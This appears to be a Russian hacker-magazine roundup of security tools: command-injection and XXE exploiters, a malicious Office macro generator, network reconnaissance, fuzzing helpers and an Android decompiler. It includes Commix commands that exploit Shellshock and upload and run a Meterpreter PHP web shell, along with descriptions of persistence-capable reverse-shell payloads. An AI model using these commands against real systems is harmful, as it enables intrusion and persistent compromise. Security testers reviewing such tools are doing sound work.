Содержание статьи
Commix
Автор: Anastasios Stasinopoulos
URL: https://github.com/stasinopoulos/commix
Система: Linux/Mac/Windows
![](https://xakep.ru/wp-content/uploads/2015/08/1439457676_2837_commix.png)
Commix (сокращение от [comm]and [i]njection e[x]ploiter) — это небольшое, простое окружение на Python, которое может быть использовано веб-разработчиками, пентестерами и исследователями безопасности для тестирования веб-приложений на наличие багов, ошибок или уязвимостей, связанных с атаками класса инъекции команд. Для запуска программы необходим Python строго версий 2.6 или 2.7. Скачиваем commix:
# git clone https://github.com/stasinopoulos/commix.git commix
Пример эксплуатации CVE-2014-6271/Shellshock:
# python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock
Больше примеров использования инструмента можно посмотреть здесь.
Commix также позволяет сразу заливать веб-шеллы на целевой хост, например Metasploit PHP Meterpreter, заранее сгенерированный с помощью msfvenom:
# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"
Уже сейчас инструмент есть в репозиториях для ArchAssault, BlackArch и предустановлен в The Penetration Testers Framework (PTF), PentestBox.
IVRE/DRUNK
Авторы: CEA IT Security
URL: https://github.com/cea-sec/ivre
Система: Windows/Linux
IVRE/DRUNK — это Python-фреймворк для рекогносцировки сети. Данный инструмент базируется на Nmap/ZMap, Bro и p0f с MongoDB в качестве бэкенда. Как можно увидеть, инструмент поддерживает и пассивное, и динамическое сканирование. Что сразу бросается в глаза при работе с данным фреймворком — великолепный информативный веб-интерфейс. Одна из интересных особенностей — сразу предоставляется скриншот со сканируемой машины без ручного захода на нее. О гибкой фильтрации по множеству параметров и говорить нечего — все, что надо, предусмотрено.
Да, и есть свой Python API, так что можно заскриптовать все, что угодно. Или как тебе экспериментальная фича по оптическому распознаванию символов? Из скриншотов оставляем только те, которые, например, содержат слово admin! Так что определенно данный инструмент заслуживает внимания.
Больше информации об инструменте можно почерпнуть из блога.
Для установки будут необходимы:
- Python 2 (минимум 2.6, включая модули Crypto и pymongo);
- Nmap & ZMap;
- Bro & p0f;
- MongoDB минимум 2.6;
- веб-сервер (точно работает с Apache или nginx);
- веб-браузер (точно работает с Firefox и Chromium).
Generate-Macro
Автор: enigma0x3
URL: https://github.com/enigma0x3/Generate-Macro
Система: Windows
![](https://xakep.ru/wp-content/uploads/2015/08/1439457703_422e_generate-macro.png)
Generate-Macro — это PowerShell-скрипт, который генерирует вредоносный документ Microsoft Office с определенной боевой нагрузкой.
В техническом плане скрипт генерирует вредоносный Microsoft Excel с VBA-макросом, выполняющим нужные действия. В качестве параметров скрипт запрашивает IP, порт, по которому будет откликаться shell, и имя генерируемого файла. Далее выбирается атака и боевая нагрузка.
Из атак скрипт поддерживает:
- Meterpreter Shell c Logon Persistence — выполняет VBS-скрипт при входе пользователя в систему.
- Meterpreter Shell c PowerShell Profile Persistence — создает зараженный PowerShell-профайл и прописывает его в реестр (требует прав локального админа).
- Meterpreter Shell с Alternate Data Stream Persistence — создает два альтернативных потока для директории AppData, а затем создает ключ в реестре для обработки нашего потока и выполнения функционала.
- Meterpreter Shell с Scheduled Task Persistence — создает scheduled task и выполняет его.
Из боевых нагрузок:
- Meterpreter Reverse HTTPS.
- Meterpreter Reverse HTTP.
Пример использования:
PS> ./Generate-Macro.ps1
Enter IP Address: 10.0.0.10
Enter Port Number: 1111
Enter the name of the document (Do not include a file extension): FinancialData
afl-utils
Автор: rc0r
URL: https://github.com/rc0r/afl-utils
Система: Linux
![](https://xakep.ru/wp-content/uploads/2015/08/1439457712_15b8_afl_vcrash_usage.png)
Фаззер AFL (American fuzzy lop) все набирает популярность и сообщество вокруг себя, что закономерно приводит к появлению расширений и улучшений для него от сторонних разработчиков.
Afl-utils — это коллекция инструментов для помощи при фаззинге для american fuzzy lop (afl). Он включает в себя инструменты для решения двух больших задач:
- автоматический сбор, верификацию, повторение и анализ падений (afl_collect, afl_vcrash);
- простое управление параллельными (multi-core) задачами при фаззинге (afl_multicore, afl_multikill).
Функции инструментов:
- afl_collect — собирает все краши в централизованном месте для последующего их анализа, а также позволяет запускать для анализа пользовательские GDB-скрипты, например exploitable-скрипт для проверки эксплуатации падения и его классификации;
- afl_multicore — запускает параллельно несколько сессий фаззинга в фоне;
- afl_multikill — завершает все afl-fuzz сессии, принадлежащие afl_multicore сессии;
- afl_vcrash — проверяет, что краши от afl-fuzz приводят к падению целевого исполняемого файла.
Dalvik bytecode -> Java bytecode
Автор: Google
URL: https://github.com/google/enjarify
Система: Linux\Windows
![](https://xakep.ru/wp-content/uploads/2015/08/1439457722_32e0_enjarify.jpg)
Enjarify — это инструмент на чистом Python 3 для перевода байт-кода Dalvik в эквивалентный байт-код Java от компании Google. Это позволяет использовать инструменты для анализа Java-кода при анализе Android-приложений.
Запуск чрезвычайно прост:
$ python3 -O -m enjarify.main yourapp.apk
А для Windows еще легче (с учетом правильной установки скрипта):
enjarify yourapp.apk
У людей, занимающихся анализом Android-приложений, наверняка возникает вопрос: в чем отличие от dex2jar? Да, эти инструменты решают одну и ту же задачу, и в большинстве случаев dex2jar хорош, но не всегда. Есть еще много ситуаций с тонкими и пограничными моментами при переводе, из-за чего dex2jar не справляется или вообще выдает некорректный результат. В противовес этому Enjarify предназначен для работы во всех каких только возможно ситуациях, даже когда dex2jar будет барахлить.
Среди всего этого Enjarify корректно обрабатывает Unicode-имена классов, константы, используемые во множестве типов, неявное приведение типов, обработчики исключений, прыгающие в нормальный поток управления, классы, которые ссылаются на множество констант, очень длинные имена методов, обработчики исключений после catchall-обработчиков и многое другое.
AFL Fuzzing Code Coverage
Автор: Michael Rash
URL: https://github.com/mrash/afl-cov
Система: Linux
![](https://xakep.ru/wp-content/uploads/2015/08/1439457734_9294_afl-cov.png)
Afl-cov — это вспомогательный Python-скрипт для фаззера Михала Залевски AFL (American fuzzy lop).
Для своей работы afl-cov использует тест-кейс файлы от AFL для генерации gcov результата покрытия кода целевого исполняемого файла. Покрытие кода интерпретируется от одного тест-кейса к следующему для того, чтобы определить, какие новые функции или ветки кода были затронуты AFL на каждой итерации. В дальнейшем afl-cov позволяет задать строчки кода или функции в файлах покрытия, и потом сделать соответствие тест-кейсам, которые их затронули. Это позволяет пользователю обнаружить, какой AFL тест-кейс первым затронул ту или иную функцию. В дополнение к этому afl-cov предоставляет zero coverage отчет о функциях и участках кода, которые никогда не были выполнены в процессе фаззинга AFL.
Ну и как ты, наверное, понимаешь, это в конечном счете помогает улучшить/увеличить покрытие кода в процессе фаззинга, где не справился сам AFL.
Из зависимостей скрипта:
- afl-fuzz;
- Python;
- gcov, lcov, genhtml.
XXEinjector
Автор: Jakub Palaczynski
URL: https://github.com/enjoiz/XXEinjector
Система: Windows/Linux/Mac
![](https://xakep.ru/wp-content/uploads/2015/08/1439457743_884b_xxeinjector.png)
XXEinjector — инструмент, написанный на Ruby, для автоматизации атаки XXE (XML External Entity) различными способами в веб-приложениях, обрабатывающих XML-данные. Сама атака происходит тогда, когда входные XML-данные содержат ссылку на внешнюю сущность (external entity) и XML парсер начинает ее неправильно/небезопасно обрабатывать.
Для получения файлов используются как direct, так и out of band (OOB) методы. Листинг директории применим только для Java-приложений, для остальных приложений возможен режим bruteforce. Программа отлично работает с протоколами SSL, proxy, HTTP, FTP, gopher. При этом возможна загрузка jar-файлов и XSLT-инъекции.
Также из полезных особенностей можно выделить: Base64 encode целевого файла перед отправкой, чтобы он не потерялся из-за спецсимволов, и перечисление нефильтруемых портов для реверс-соединения.
Автоматизация эксплуатации XXE с каждым днем все активнее развивается. Тот же Burp недавно получил подобный модуль. Так что, думаю, это не последний инструмент с таким функционалом у нас в обзоре. Также для погружения в тему советуем презентацию XML External Entity Attacks
(XXE).